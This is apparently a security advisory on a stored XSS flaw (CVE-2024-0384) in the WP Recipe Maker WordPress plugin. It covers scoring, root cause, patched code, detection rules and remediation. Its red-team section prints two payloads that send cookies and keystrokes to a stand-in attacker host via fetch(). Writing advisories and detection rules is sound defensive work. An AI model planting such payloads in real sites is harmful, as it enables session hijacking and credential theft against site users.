CVE-2024-0384

Executive Summary

CVE-2024-0384 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The flaw resides in the “Recipe Notes” field, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious recipe note, the injected script executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access with contributor-level privileges, but the stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the Recipe Notes field of the WP Recipe Maker plugin. When a user with contributor-level or higher permissions creates or edits a recipe, the notes field is not properly sanitized. The plugin fails to escape HTML entities and JavaScript event handlers before storing the content in the database. When the recipe is rendered on the frontend, the unsanitized notes are output directly into the HTML, allowing arbitrary script execution.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates a new recipe or edits an existing one.
3. In the “Recipe Notes” field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload without sanitization.
5. When any user (including admins) views the recipe page, the script executes in their browser.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() or wp_kses() with appropriate allowed HTML tags for the notes field.

Vulnerable vs. Patched Code

Vulnerable Code (wp-recipe-maker/includes/class-wprm-recipe.php or similar):

// Vulnerable: Direct output without escaping
echo '<div class="wprm-recipe-notes">' . $recipe->notes() . '</div>';

Patched Code (hypothetical fix):

// Patched: Escape output
echo '<div class="wprm-recipe-notes">' . esc_html( $recipe->notes() ) . '</div>';

Alternatively, use wp_kses_post() with a restricted set of allowed tags if HTML is needed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Recipe Maker plugin <= 9.1.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Recipes > Add New.
3. Fill in required fields (title, ingredients, etc.).
4. In the “Recipe Notes” field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the recipe.
6. Wait for an administrator or other user to view the recipe page. The script will execute, exfiltrating cookies.

Alternative Payload (keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for unusual recipe creation or editing by low-privileged users.
• Look for recipe notes containing <script>, <img onerror>, or other event handlers.
• Use WAF rules to block common XSS patterns in POST data.

Hunting:

• Query the WordPress database for recipes with suspicious notes:

  SELECT * FROM wp_wprm_recipes WHERE notes LIKE '%<script%' OR notes LIKE '%onerror%';
  

• Review server logs for requests to /wp-admin/post.php with post_type=recipe and suspicious wprm_notes parameter.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-recipe-maker/includes/class-wprm-recipe.php (or similar) – absence of esc_html() on notes output.
• Database: wp_wprm_recipes table with notes column containing <script> tags or event handlers.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Access logs showing recipe page views with unusual query strings or referrers.

Detection Engineering

YARA Rule

rule CVE_2024_0384_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Recipe Maker notes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0384"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-0384 WP Recipe Maker Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WP Recipe Maker notes field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'wprm_notes'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0384 WP Recipe Maker Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wprm_notes"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the WP Recipe Maker plugin to version 9.1.1 or later (if available). If no patch exists, disable the plugin until a fix is released.
2. Restrict contributor-level permissions: only allow trusted users to create/edit recipes.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST data.

Long-Term Fix:

• The plugin developer must apply proper output escaping using esc_html() or wp_kses() with a whitelist of allowed HTML tags for the Recipe Notes field.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence